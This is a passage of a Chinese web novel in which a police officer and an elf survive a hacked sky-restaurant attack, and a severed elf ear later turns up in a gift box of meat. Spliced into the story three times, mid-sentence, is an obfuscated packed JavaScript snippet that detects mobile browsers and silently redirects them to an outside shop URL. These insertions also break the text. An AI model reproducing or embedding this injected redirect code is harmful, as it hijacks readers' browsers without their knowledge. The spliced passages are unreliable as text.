端戊四处张望、躲闪着和她对视:“谁让你在地球上的安全,是归清异局管呢?到你了,测完赶紧吃饭,饿了饿了。” 端戊抓起康屿安的手,放在水晶球上。 “请保持静止开始测试!摸了她还要摸我,真不想理你!既来之,则安之,这是为您制定的从容菜谱。“水晶球还是个酸溜溜营养师兼心理医生。 端戊收回手握紧拳头,把丝丝凉感融合进自己的掌心。 “康屿安……”端戊知道犟种的决定是改变不了的,可憋了一肚子的话不吐不快。 “你有不得不做的事情吗?”康屿安眉眼弯弯地打断了端戊。 端戊看着康屿安,通透的像是只披着一件雨衣,慢悠悠的着任由风雨拍打,不跑、不躲、不闪的肆意踱步。 “有!眼下就有,抓紧吃饭,肚子咕咕叫了。”端戊夸张的揉肚子,聪明人过招,点到为止。 “那就……” “咚!” “唔!” 云舱被剧烈撞击打断了康屿安的话,还害得她咬到了舌头,腥甜在唇齿间溢开。 端戊不知道她伤哪了,从绷带里抽出右手把康屿安护在怀里,左手稳定云舱系统,同时呼叫云廊的机器人管家。 “顾客,让您受到惊吓,深感抱歉,我们这里正在排查故障,同时启动了保护系统……” 估计机器人也没遇到过这样的事,除了基础的保护系统,也没提供任何其他备选方案,就连安抚都显得干巴巴的。 很快,被台风席卷般连续撞击后,这点电流都彻底中断消失了。 云舱的操控系统彻底失灵了,机器人管家也断联了。 端戊猜测是奔着康屿安来的,她任职没几天,别说寻仇了,就是认识她的人也没几个……还都死了。 端戊改用左手护着康屿安,右手放在配枪上:“别怕。” “哈哈哈!”康屿安清脆爽朗的笑了,端戊有些怀疑她是不是吓傻了。 “干嘛?给自己壮胆?”端戊安抚地轻拍康屿安的后背。 “从我们认识到现在,你知道你和我说的最多的一句话是什么吗?”康屿安倒是不笑了却更吓人,开始灵魂质问了。 “和你说的最多的是‘别怕’。”端戊瞬间就get到康屿安了。 毕竟是陪她闯关打怪的NPC,好像康屿安到地球上来,就是为了和端戊一起历经生死一样。 “最近几年,我爸妈也常和我说这两个字。”人与人之间很微妙,让彼此走近的,也许就是一句话,、一个举动,甚至一个眼神。 可听在端戊的耳朵里,意思就变了味道呢:怎么,我又多了一个崽儿?就不问问我想不想? 她俩还没把天聊进一个频道,云舱就开始快速滑落,也没见餐厅启动了任何的保护系统。 坐以待毙不是端戊的习惯,好好活着一切才皆有可能,于是她快速的环顾四周,总算找了件趁手的。 “咱俩的救命稻草这就来了!”端戊扯下云舱隐私帘的。 “你确定就这么个帘子关键时刻能救咱俩的命?”康屿安对端戊的那点信任有点动摇,怎么像闹着玩似的。 “你小瞧它了不是?这东西我熟,云廊也是下了血本的,里面的内线是非晶合金的。”端戊说着又抽出隐私帘的挂绳,用手试了试末端的挂钩。 康屿安秒懂了端戊接下来的动作,一脸难以置信的看着她,眼下也没那么多时间让她们犹豫或者商量,只能配合地环紧端戊纤细的腰:命就这么交给了这个不靠谱的? 云廊餐厅上下错综复杂的轨道,有点像升级版的过山车轨道,枕木之间距离更近、白色看着也更精致些。 端戊选择了一个比较容易的着力点,凝神瞄准。 “啪!”第一下没挂住。 “你行不行啊!”康屿安有点急了,按照这个下滑速度她俩最多还有一次机会,可就落地请开盒了。 “别说话!”端戊也有些紧张,尽量沉下心来集中了精力。 “啪!”压力过大,手上偏差也就大了,第二下又没挂上。 见状,康屿安反而冷静且松弛了:命都到这了,就认命呗。 “唉!完了!这辈子还没谈过恋爱过呢!“论遗憾,其实还蛮多的,康屿安脱口而出的却是以为最不在意的。 端戊多善解人意啊,立刻就仓促地吻在了康屿安的小耳朵上:“现在有了,不遗憾了!” 康屿安的小耳朵快速颤栗成了电动牙刷,快速的摩擦端戊的下颌。 痒酥快速蔓延至全身、痒到心里。端戊有点自我质疑:刚刚是吻的、不是咬到吧? 脸颊酥痒难耐,端戊在康屿安的头顶上蹭了蹭,好像并没什么用,心里反而像是装进了一只小猫。 康屿安微烫的脸颊贴在端戊心脏的位置:“死就死了吧。” “噔!噔!噔!噔!”康屿安咻地睁开眼睛:“减速了!” 挂钩贴着最后一段坡形轨道的一根根枕木,正努力的勾搭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848840|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 康屿安探头往下看,至少还有四五层楼高才能到地面呢:“哪个大聪明设计的,就顾着标新立异,就没想过有没有隐患的吗?” “失败中总结么,不出几次事拿什么总结?”端戊气的青筋都条条可见了。 端戊和康屿安秉着气,看着挂钩咯噔咯噔地一格一挂,一挂一脱,心都要跳出来了。 眼见着就剩下最后一节了,端戊和康屿安认命的闭上眼睛,而端戊抓起第二个救命神器。 确切说,是救康屿安一个人的Plan B。 “咣!”挂钩争气的勾搭上了最后一节轨道的最后一根枕木。 “别乱动,抱稳了。”端戊按住康屿安的兴奋,然后快速地把挂绳在手臂上绕了两圈,一下一下拉近云舱和轨道的距离。 “坐到对面,不要乱动保持平衡,等着救援。”拖上轨道后,端戊才长出一口气,把手心的汗在裤子上轻擦了两下,意识连接瞳视准备报警。 作为一名警察,怎么她总是想报警,总是在报警? “我们这都出了这么大动静了,为什么餐厅没有任何动作,也没报警?”康屿安小心翼翼的转头张望。 端戊很快就知道答案了,瞳视一直连接不上,显然餐厅的信号源被切断了,哪怕端戊累的眼冒金星也是连不上的。 “哇哦!帅哦!地球功夫可以的喔!”一个云舱稳稳的停在她们对面,隐私帘是放下的,从里面传出一个女孩的声音,有点贱兮兮的还有点欠。 “听这意思,你对地球不太熟吧?”端戊试探着问时,人形探测仪已经开始探测对面了。 “我们是不是见过?你是那个地球哪吒?”敏锐的康屿安察觉到对面的人应该是见过的。 听她俩对话,端戊感觉自己没在地球上。当所有元素前面加上地球两个字,听起来好奇怪的。 “擦肩而过就能记住的人,小精灵,你对人家有好感的吧?”对面的人狡诈的没有正面回答,反而戏弄康屿安。 “你这个脑回路有点短路啊?谁告诉你能一眼记住的人就是好感呢?厌恶的人也一样让人过目不忘的!”端戊语气不善,对面的人和康屿安都感觉到了她的不高兴。 “你很嚣张啊?看来你还不太清楚自己身处什么险境。不过没关系、不着急,很快就会让你知道了,小精灵,要不要到我这来?这里安全,你那边一会儿可就要起飞了哦!”对面的云舱缓缓伸出机器臂,等待在外面。 “挺有想法的嘛,小姑娘是带着剧本来的?”与此同时,端戊甩出控境。呃,竟然偏了。 端戊只能继续想办法和对方周旋,拖延时间等冷却,也不知道对方会不会给自己这个机会。 难怪王校长总是说业精于勤,从前自己还总嫌弃他啰嗦,现在看来,保命的事还是熟能生巧的好。 比如说,现在就有点尴尬了。 “小精灵,你想好了没有,留给你的时间可是不多喽。”对面声音明明有些稚嫩,却听出一种老奸巨猾的感觉。 “好哇!”康屿安毫不犹豫地答应了。 21. 第 21 章 康屿安干脆的毫不拖泥带水,反而让小破孩愣住了,她本以为小精灵怎么也要讨个价、还个价什么的。 至少也得为战友争取争取吧?这弄的好像她们两个不太熟似的。 对面的云舱沉默了,端戊倒是有耐心等,却也不想浪费时间。她看到地上躺着一个建筑造型的手工雕刻花瓶,里面插着彩虹配色的花束。 这么翻滚折腾下,花瓣都保持倔强,愣是让自己努力支棱着。 端戊够到那束花捡起来,抽出一段打包用的蕾丝带,为花束打了一个很松弛的同心结,塞到康屿安怀里。 “送我的?”康屿安第一次收到这么随意又走心的礼物,惊讶比惊喜多。 “今天也算是你的初恋日,以后再谈恋爱也不要忘了这个颜色,这才是你的初恋色。”端戊指了指康屿安怀里的花束。 康屿安没想到端戊还挺当回事,再看看她俩现在略显尴尬的处境,没忍住笑了:“我的初恋,一定要这么草率吗?非得这么不合时宜吗?” 端戊还没来得及回答,对面小屁孩先有答案了,估计是不想吃这把强塞进嘴的狗粮:“小精灵,你一个人过来。” “你很怕她吗?”康屿安巧笑嫣然着戳小屁孩的心窝子,她甚至觉得自己是一个坏姐姐。 “哈哈哈,我又不是小孩子了,激将法在我这没什么用的。”醉酒的人总说自己没有醉,小孩子也从不承认自己是小孩子。 “好吧,你说的对,虽然我并没有。” 这会儿康屿安的心情莫名的好,不再和她逗嘴,拎起长裙走上机械臂,端戊看着她背影纤纤、脚下却是稳稳的,腰肢盈盈可握、裙裾厚重摇曳。 只是,这裙子是不是有点过于眼熟啊? 毕竟对面的那个只是年纪小,又不是个小傻子。端戊不放心,用意识进行身份验证,手里的枪开了安全锁。 原本也只是想搭上对方的机械臂,当然能走进云舱把握就更大一点。 端戊握枪的掌心很快就都是汗了,让康屿安铤而走险地挡在她前面,悬着的心说什么也不肯落下来。 康屿安气定神闲地像杂技团里的猫子,微扬下巴傲娇的通过机械臂,安然的接近云舱了。 是不是太过于顺利了?小屁孩是瞎了吗?还是说,根本没人? 康屿安掀起隐私帘,扯着‘裙摆’大步跨进去,她倒要看看里面到底是怎样的一个熊孩子。 “端戊!”康屿安吓得魂差点起飞了,来不及反应、下意识就喊出来了。紧接着身后便传来了撞击声,转头看时眼前又是一黑:“端戊!” 一个豪华舱疯了一样撞向她俩的双人舱,好不容易勾搭上轨道枕木的挂钩,瞬间就被撞脱钩了,没一点商量余地的从轨道上坠落下去。 见状,康屿安一头钻进餐桌底下,绕着桌腿跑了一圈,让窗帘裙摆在桌腿上缠了一圈后,紧紧抱着桌腿坐下了。 拖在外面、盖住机械臂上的裙摆骤然绷成一条长绳,像钓鱼一样把端戊从正在坠落的舱体里钓了出来。 被拖出来的端戊,左手臂上缠绕着‘裙摆’另一端,以空中飞人之姿,拯救宇宙之势,直愣愣的停在半空。 等了一会才想起来自己的队友勉强只能算上配重块,根本不具备起重的能力。耍帅是指望不上了,端戊像个灵活的金丝猴手脚并用,几下就爬上去了。 端砚睡得好好的,突然一阵心悸就掉到了床下,被打未愈的屁股摔的更痛了,却怎么也睁不开眼睛,仿佛是被困在了梦靥里。 “端砚,被困在这十年了,还学不会控制自己的情绪吗?”眼睛似乎只能睁开一条缝,刺目的白光里烟雾缭绕,不见其人,只闻其声。 声音有点像楼下北冰洋超市的老板,口齿间黏糊的让人不舒服,却又忍不住想要一探究竟。 “你到底是谁?”端砚努力的想睁开眼睛,眼皮像是被黏住了一样,加上强光刺眼,无论用多大的力气,也只能睁开一条缝。 “等哪天你彻悟了,能压制住自己的情绪了,你的禁锢就解开了。你身边的人类,生命都很脆弱,也很珍贵,哪受得住这个啊!”黏糊的声音还挺能吊人胃口,端砚有点想咬她。 凭着这点咬人的执拗劲儿,端砚终于睁开眼睛了,可是哪还有强光、云雾?眼睛睁猛了,竟然醒了。 端砚有点懊恼:“一个梦,你和它较什么劲,使那么大劲儿干嘛,这下好了,啥都没了!可是那到底是谁啊?” 端砚使劲揉搓着圆白的脸,发现自己和被子一起都掉在了地上。 “不行,你这样我就不走了,说破了天也是不行!”端砚听到有人在客厅说话,声音好熟悉,黏糊糊的! “我下手没轻没重的,你别和我在这撕巴……”端砚听到了妈妈的声音,怎么气场还有点弱呢! “我说不行就不行,今天就算是挨顿打,也是不行。”这下端砚听清楚了这不是梦里威胁自己的人吗?还追到家里来威胁她妈妈了! 欺人太甚!”端砚一个鲤鱼打挺,把自己从地上撅起来。“哎哟!”这才发现,这一下摔的真疼啊! 光着脚丫子就往外冲,走到门口拎起棒球棒:“欺负到家里来了,你看我让不让你满地找牙就完了!” “砰!”一脚丫子踢开卧室门就冲到客厅,刚挥起棒子就看着眼前这人眼熟。 “洗衣店老板?怎么是你?你原来说话也不是这个声儿啊?”端砚举着球棒愣在原地。 端妈和洗衣店老板也愣住了。 “你把球棒放下!你这是要干嘛!有没有礼貌!”端妈握紧拳头才控制住自己没去拎棒子。 “没事没事!别骂孩子!最近事儿多、嗓子是上火了,原来确实不这样。”洗衣店老板是这条街上出了名的老实人,一看到端砚挨骂,也忘了差点挨揍的那个人是自己了,立刻出来打圆场。 “你们在撕巴什么?”梦中梦?端砚以为自己没醒。 “你卜阿姨为了谢咱家两次相救,送了几箱子吃的,这哪吃得完啊。”端妈还是想让卜老板拿回去一些。 “吃得完、吃得完,你家不是又多了个闺女儿吗?人口多了热闹,吃饭就香。”说着卜老板就要走。 别以为她没看到刚刚端妈一直在瞄墙角的棍子。 “你是怎么知道的?”如果没记错,对外她没说过这事儿啊。 “都是老街老巷子的,谁家有秘密啊!不耽误你们休息了,我这就回去了。”看了一眼正看热闹的机器人胸前的指针,八点了也该回去了。 “可说定了,以后家里的衣服都送我那去,一家四口的都送去。放心!我收钱,给你家打折,你们就当是捧我家生意了。”走到门口,卜老板还在嘱咐端妈。 “放心吧,肯定送。”端妈向来是不喜欢欠人家的。 卜老板走了,端妈才发现时间确实挺晚的了:“给你姐打个瞳视,怎么还没回来呢?” 端砚反复尝试连接也没接通,可她也确实没什么不好的感觉。 “放心,我姐没事,说不定嗨皮着呢,您也早点睡吧。” 端戊嗨不嗨不确定,却惊得头皮发麻。 “我勒个神耶,这个是什么玩意儿?”刚上来的端戊被吓了个趔趄,差点掉下去重爬。 这机器猴的设计灵感肯定是来自哥布林恐怖片吧!比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848841|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 如说凶宅有个凶猴什么的。 血红的猴眼瞪得快要爆开了,一张大嘴就占了半个头,尖锐的牙齿一直呲到了两边的猴耳朵。 还有那个猴耳朵,咋能整的这么阴森,还露着白骨,要么说,还得是毛茸茸的可爱。 “如果没猜错,应该也是个猴,侏儒猴。”云舱底部是透明的,康屿安全程目睹了端戊的灵活。 “这就解释通了,小破孩只是没人性,又不是没心眼,怎么能看着你围着条帘子过来无动于衷呢,原来摆了这么个东西在这陪姐姐们玩,全靠感应没眼睛,不就是睁眼瞎嘛!” 端戊知道小屁孩一字不落地正听着呢,就差指着猴鼻子骂了。 “一个言而无信,一个狗狗祟祟,也配做我姐!”小屁孩好像有点破防,情绪大碰撞后更玩命了。 周边所有的云舱,瞬间像是失去引力一样开始横冲直撞,又很快被什么控制了一样,锁定了她俩这个舱为目标,疯狂的撞过来。 康屿安像是一个小手办一样被甩过来,撞到端戊身上,把她的胸口撞得生痛。 “怎么瘦成这样?”端戊抱紧康屿安,让这身四十公斤的小骨头,撞钟一样撞她也得是个内伤吧? “吃不饱饭时你也瘦!”康屿安有点气鼓鼓的想推开的,可是香香软软的安全感,竟让人有点贪恋呢。 端戊把康屿安按在怀里,小心挪过去把康屿安推在椅子角落,再挤着她挨坐在一起。 腾出手来把侏儒猴机器人抓过来,轻车熟路的给电板植入了故障。 “你在干嘛?”康屿安探过头来。 “虽然这个丑猴子留不下什么可追踪的线索,也是证物,这个猴脑子还是不能完全破坏的。” 瞬间侏儒猴就变成了脑残猴,像是从电影里刚爬出来一样,恐怖又好笑。 “主机不是它!”康屿安泄愤似的戳了侏儒猴一下。 “肯定不是,不想和那个疯小孩吵架,吵赢了自己比她疯,吵输了,自己还不如一个疯小孩,怎么算都好像是自己输。再说了,你也不想她看直播似的,盯着咱俩看吧?” “不想。”康屿安很少好好说话。 突然的乖巧,让端戊有些不习惯,莫名的保护欲爆棚。 外面的撞击更剧烈了,端戊把康屿安的头按在自己的肩上护好,拿出红光微型智能枪,打开了保险栓。 “就这?”康屿安看向端戊手里的‘小玩具’,觉得她又在闹着玩。 “嗯,就这。”端戊语气淡淡的,左手环着康屿安的后脖颈,托起执枪的右手。 康屿安顺着她的视线看出去,外面混乱的云舱已经不分敌我了:“你想用这小玩具从它们当中找出主机?” “你还是挺聪明的。”端戊毫不吝啬自己的称赞,她知道,康屿安的聪慧远不止于此。 端戊启动意识,在外面一片混乱中扫了一圈,全场就一个外星人,在自己身上挂着呢。 意识穿梭间,很快在一片混乱中搜寻到了一个固定规律:不管它们乱成什么样,其实有一个固定点是它们都始终都远离的,但又很规律的环绕在外围,呈保护之势。 确定了主机位置,端戊用意识把手枪追踪系统和主机位置连接上,扣动扳机。 “噗!”比打嗝声没大多少的射击声,让康屿安没压住嘴角。 “我不喜欢太吵的……”端戊没想解释,只是不想被误会。 “砰!” 射击的声音像打嗝,可是这个嗝的威力就有点震天动地了。 一朵褐色的蘑菇云,从一堆白色云舱中间升腾而起,所有云舱以各种角度,东倒西歪的定格在半空。 22. 第 22 章 横七竖八的云舱里像是烧开的水壶,沸腾着此起彼伏的呼救声,在蘑菇云里咕嘟咕嘟地冒泡泡。 刺耳的警报声又在水壶下加了一把火,壶盖都要掀翻了。 端戊这才知道,疯狂撞向自己的云舱并不全都是空的,大部分里面都是有人的。 “毫无人性!把人命当游戏!”端戊用力地掐紧猴脖子泄愤,这种情况肯定是有人受伤了,尝试连接瞳视呼叫急救中心。 一个格外爱惜生命的人,最见不得有人草菅人命。 屏蔽的信号源恢复了正常后,餐厅立刻该营救的营救,该安抚的安抚。 “各位顾客,各位顾客,请保持冷静,刚刚餐厅遭遇黑客入侵,现在信号源已经恢复正常,请大家在自己的位置坐好,不要乱动,我们的机器人和室内直升机正在救援。” 机器人管家反复地播报安抚,半空中挂着的那些顾客,对云廊已经完全失去信任了,场面混乱的机器人都崩了。 有些原本不恐高的人,现在已经开始恐高了,说什么也不肯跨出来进直升机。有些人疯了一样,一刻也不肯在云舱里呆着,不等救援自己就要往下跳。还有衣衫不整相互穿错衣服的…… 呃,这个就有点过分了,毕竟咱这是餐厅,不是澡堂子,给你营造私密又不是让你暗渡陈仓的! 机器人也是忙坏了,有心理疏导的,有安慰的,还有挨骂的。 端戊想想脸都吐绿了请假回家的辛瑙,再想想清异局的机器人总动员,长叹一口老气,接线到了区域派出所。 排除了外星人作案,这事也理应归派出所管,更何况,她才是那个名副其实的受害人。 听民警说,云廊餐厅与所有顾客失联、向外联系又受到限制后,立刻就派人到派出所报警了,端戊暂时也把云廊的经营者排除嫌疑,工作人员还是需要排查的。 现场混乱成粥,像是一个巨大的马蜂窝,谁也没注意至尊卡区域的一个双层云舱。 “妈妈好像并不喜欢我头发的颜色,哦,还有指甲。”叶白眨着无辜的豆眼看向叶意秦,又看看自己右手的指甲,猫爪开花一样的张开手。 “总有一天你自己也会不喜欢,那时你自己就不再染这些颜色了。”从叶白懂事起,叶意秦就像对待成年人一样平等的对待她、尊重她。 叶意秦不想她的女儿,把她的童年再过一遍。 “您是全宇宙最好的妈妈,我现在就不喜欢了。”说完,叶白扯掉绑在头上的两根荧光绿发带,把两个魔丸髻散下来,顺滑的落在肩上。 又从包里取出一支喷雾,在过肩的长发上喷洒一层,深棕色的染发剂均匀溶解后,便快速扩散渗透了。 晃晃头发,叶白摸出一副正圆无框的眼镜和橄榄绿棒球帽,戴上以后,她亲妈都差点没认出来她。 “这样打扮才好看,乖乖的。”叶意秦摸着叶白柔顺的长发,表情满意、惊喜、困惑、猜疑,那叫一个精彩。 “我们走吧!妈妈!”叶白不给叶意秦任何提问的机会,扶着她就进入直升机安全降落了。 “怎么回事?发生了什么事了?餐厅连基本的安全保障都做不到吗?”出了直升机,叶白的脸立刻涨得通红,叶意秦都差点以为受害者是她们母女俩,一脸懵的被叶白拖着往外走。 “请等一等!”一个空灵清冷的声音,在她俩身后炸开。 叶白本能地转身、面色如常,白皙到病态的脸笑得人畜无害:“姐姐是在喊我吗? 端戊眯起丹凤眼,看着面前依偎着妈妈的‘高中生’眨着无辜黑豆眼,那个死样子,就好像只要谁对她大声说话,立刻就能哇哇大哭起来。 “你和你母亲都要暂时留下配合问话。”端戊笑容温和,身边的民警心领神会地领着这对母女去排队了。 路过康屿安时,叶白并没有看她,而是小孩子心性的盯上康屿安的彩虹花束。 “这花儿好特别啊,小姐姐可以给我看看吗?”软绵绵的低音听着就让人无法拒绝。 “不可以。”康屿安糯糯地回绝了。 就她俩这气势,哪怕是吵起来了,听着也会像是唱情歌似的。 “小姐姐还怪小气的……”叶白的调调里掺杂了些撒娇,多少有些针对性的刻意。 “前面的快点走,别堵着。”端戊高声催促了,拎着那个侏儒机器猴走到叶白旁边,而她看都没看侏儒猴一眼。 原本端戊并不确定她哪里不对劲,可是比猫的好奇心还重的人,看到这么怪异还透着点恐怖的机器猴竟然无动于衷,那就不正常了。 今天有一个算一个,包括她和康屿安,要么被吓一跳,要么因为好奇多看两眼,而叶白呢,像是没看到。 端戊打开瞳视隐形摄像头,拍了叶白和她妈妈的照片打算回去搜索数据库。 “姐姐手里这个猴子有点吓人啊!”叶白像是刚看到一样,手指着机器猴,挽着叶意秦的手更紧了些。 “别在这添乱了,快点走!”自己的孩子是个什么样的,当妈的还是知道的,叶意秦抱歉的朝着端戊点头,拉着叶白就走。 “那个丑猴子,是不是你的?”回到车里后,叶意秦的脸像是被泼了一桶黑漆。 “我不知道妈妈在说什么。”叶白打开面前的实颜镜子,看着略有些陌生的自己,越看越喜欢。 “有些事情我可以当做不知道,毕竟小孩子都有叛逆期,妈妈尽量理解,可是你不能长成你爸爸那个样子。”叶意秦眉心拧出了一团,似乎要把水嫩的皮肤拧出水来。 “如果那样,妈妈就会不要我是吗?会把我丢给爸爸?”叶白像是一只炸毛的小狮子,明明心里在颤抖,却咬紧牙关和叶意秦对视。 “妈妈不会丢下你。”叶意秦长叹一口气,拉过叶白的手,冰凉沁骨。 两个人没再说一句话,到家时,管家早就等在了停车场,看到母女俩也没个动静,亲自过去打开车门。 叶白家的四维折叠体感别墅,是叶白的爸爸送给她的生日礼物。 叶白的性格、喜好俱多变,不喜欢被束缚。她那个女儿奴的老爸,在她十五岁的生日时,送了最合她心意的礼物。 虽然基建面积只有二百多平,却能折射出百倍的使用面积,别墅内的季节和温度,也都是意识和体感决定,空间还可以折叠出你想要的室外风景,比如说有氧森林、高山瀑布,视觉和味觉完全一模一样。 如果这个地儿住够了,别墅基建层还可以搬走,换个地方住住。 叶白性格古怪,认房间、认马桶、认床。换地方住她需要适应很久,现在有了这个折叠别墅,走哪带到哪,再没这个烦恼了。 “夫人,先生来了,您看?”三年前,两个人之间最后一点秘密没藏住,从那以后,叶意秦就再也不肯见叶白爸爸了。 叶白抓心挠肝的想知道他俩因为点啥,爹不说妈还哭,她也就懒得再问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848842|211773||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了。不过看着爹追妈躲,爹哄妈嫌的劲儿,也能猜到是爹的错。 叶意秦从折叠空间直接回自己卧室了,别说面了,味儿都没露一点。 叶白从海底世界的玄关走进客厅,看到一个灰白的头顶,松弛的瘫坐在沙发角,背对着门口。 “爸爸……”叶白走到沙发后,手臂撑在沙发靠背上,一根一根的挑出他头顶的白发。 “我走了,你要的东西交给管家了,别太过了。”他爹一如既往的失望着走了。 看着爹微驼的背影,叶白只觉得自己做的还太少。笑了一晚上她也累了,又恢复了那张死人脸,走折叠空间回房间了。 刚坐到床上,就被蒙头罩住了,眼前一黑。 “你怎么不喊的?一点不好玩!”女孩的声音略显尖锐,叶白不着痕迹的皱了一下眉。 “除了你这只小野猫,谁还会喜欢藏猫猫?”叶白握住女孩的手腕,稍一用力就把她拖到腿上。 掀起头上黑纱的一角,把橙红色的卷发也罩了进来。 “想我了吗?”黑纱下的迷离,融掉了声音里的尖锐。 “洪橙橙,你这点自信都没有吗?把最后一个字去掉!”叶白猝不及防的咬在洪橙橙的锁骨上,在锁骨上印下一朵红梅。 “唔……你想的是这副水做的皮囊吧?”洪橙橙失控的向后仰头,嘤咛出细碎的声音。 叶白还挺担心她把自己的脖子仰断的,轻咬住她粉色的耳尖,拉进自己的怀里。 惊颤的粉色耳朵在叶白的嘴里,差点被融成冰淇淋。 “果然是水做的……”叶白更喜欢声音软糯一点的小精灵。 叶意秦在门口犹疑片刻,还是转身回房间了。 家家有本难念的经,区别是有些家里是一本经反复的念,而有些家里是一本又一本,念的经都不带重样的。 “唉,这个家刚热闹没几天,就又要冷清了,洗衣店卜老板送来的那几箱,都还没开始吃呢!安安就不能住在家里吗?”端妈老大的不乐意了,最合心意的闺女儿,还没稀罕几天呢。 康屿安作为金安的学生,又是端戊引荐的,做过背调后直接就被聘为研究员了。 “妈,出了金教授的事后,出于安全考虑,康屿安只能住在公序舍住,从研究所到公序舍有通勤车,能把危险系数降到最低。” 端戊耐心的为端妈解释,说到底是自己和端砚整天奔跑在风里,让端妈宠无可宠,就连这点小愿望都落空了。 “公序舍?我怎么记着清异局的宿舍也在公序舍呢?”端妈一脸恍然大悟的看向端戊,原本黯淡的眼睛噗地就窜出了小火光,亮了! 端戊顿时感觉到兆头不祥:“妈,从小到大我都没打听到,我不是你亲生的啊?” “这种事情哪能传到你耳朵里去?赶紧回屋收拾收拾东西,从明天开始你也住公序舍了,哪天食堂吃腻歪了,还方便一起回来改善伙食,要不然让安安自己来回跑,我也不放心。” 雷厉风行的端妈,小旋风似的不知道去收拾啥了,留下呆若木鸡的三个娃。 端砚挪动小屁股蹭到端木旁边,食指和拇指托着下巴,歪头看向她姐:“我怎么觉得我不是亲生的可能性比较大?” “端戊,你快来看看这是啥?安安就别过来了!”端妈放开嗓子在厨房里大喊大叫。 端戊和端砚面面相觑,她俩这个能当爹用的妈,还从来没这么喊破音过。 23. 第 23 章 被特别嘱咐不能过去的小精灵,机灵地抖动着小耳朵,在端戊和端砚短暂对视的这会儿,第一个站了起来。 被端戊手疾眼快地扯住手腕,随手一拉,康屿安就又坐回沙发上:“抢跑呢?你这犯规嗷!” 康屿安的小耳朵不服气的竖的笔直,河豚一样鼓着腮、怒瞪端戊,像是随时能炸在端戊脸上似的。 端戊忍着笑,余光瞥见另一个不老实的豹崽子,正蓄势待跑,也被端戊扯回丢在沙发上。 “你们两个都坐在这,别动。” “妈又没说不让我……好吧,不动。”端砚原本准备再抗争一下,被端戊一个刀眼就灭了气焰,还顺手拉了一下再度雀雀欲试的康屿安。 端戊跑进厨房,看到端妈哪有一点害怕的样子,视线挪到端妈手上时,她想惊叫,她想报警。 端妈手里捏着一对灰色耳朵,和康屿安的差不多。 她不敢想象,如果让康屿安一起进来,场面不亚于小白兔看到小灰兔在自己面前被肢解了,小山羊看到小绵羊在自己面前变成羊肉串了。 端戊在心里为端妈竖起大拇指,这一嗓子太机智了,避免了一场灾难性崩溃现场。 “以后再有这种情况不要徒手拿物证,下次注意了。”端戊无意识地做出下意识嘱咐,紧盯着端妈手里耳朵的切口,抓紧戴无菌手套。 “你这个局长做得还挺得心应手的啊……”端妈小心地把灰耳朵放进端戊打开的物证袋里,话里话外的阴阳她。 端戊后知后觉的看向端妈满是福相的圆脸:进入状态早了,忘了这是我妈了。 “妈,您看,这两个耳朵是会说话的……”端戊努力远离挨揍线。 “滚犊纸,你当我是端砚呢!”端妈带着气儿呢,白了端戊一眼。 “别急啊!您这习惯不好哦!不让人把话说完呢!”端戊赶紧拿出消毒用品,把端妈的手指又是浸泡又是刷洗,感觉下一步就要起锅烧油了。 “我认真看了的,而且我也没碰到伤口切面……”端妈第一次觉得自己在端戊面前像个小孩。 “您怎么知道死者没有传染性疾病呢?而且很可能某一根绒毛里就藏着凶手的DNA,那里就藏着死者想和我们说的话。”端戊感觉消杀差不多了,拎着端妈的手在那晾着。 “你,怎么知道耳朵的主人死了?”端妈看了一眼客厅方向,爱屋及乌,即便是其他的精灵,哪怕失去了耳朵,她也希望是活着的。 “看切口,血迹浮于表面,创口没有外翻,耳朵是在哪里发现的?”端戊收好证物袋,在厨房里四处看。 端妈把手放在口袋里,偷摸儿的又蹭了蹭,端详着自家的好大闺儿,眨眼间就真的长大了。 “那个装肉的盒子里,我想给你们烤点当宵夜,就把这个翻出来了。” “这盒子肉是从哪里买的?”端戊走过去,把整个箱都封存装袋。 “不是我买的,是洗衣店老板的谢礼,送的……” “妈,恐怕今天烤不了肉,需要跟我去清异局配合调查,不用紧张,就是正常问话。”不等端妈回答端戊已经联系总部,请求人员支援,去洗衣店带卜某回去审讯。 “怕是明天、后天、大后天,都不想烤肉了,猪耳朵以后都不想吃了。”端妈现在理解了,为啥楼下的球球养了螃蟹以后,最爱吃的螃蟹再也不吃了。 门外,端砚踮着脚、缩着脖子溜回康屿安身边,贴近康屿安绷紧的小耳朵:“我妈说,不想吃肉了,今天不想、明天不想、后天也不想,以后都想吃小耳朵。” 康屿安身体后仰,看着眼前这个心肠挺热,总是好心办坏事的小孩,犹豫要不要告诉她,从这到厨房,是自己耳朵正常能听到的距离。 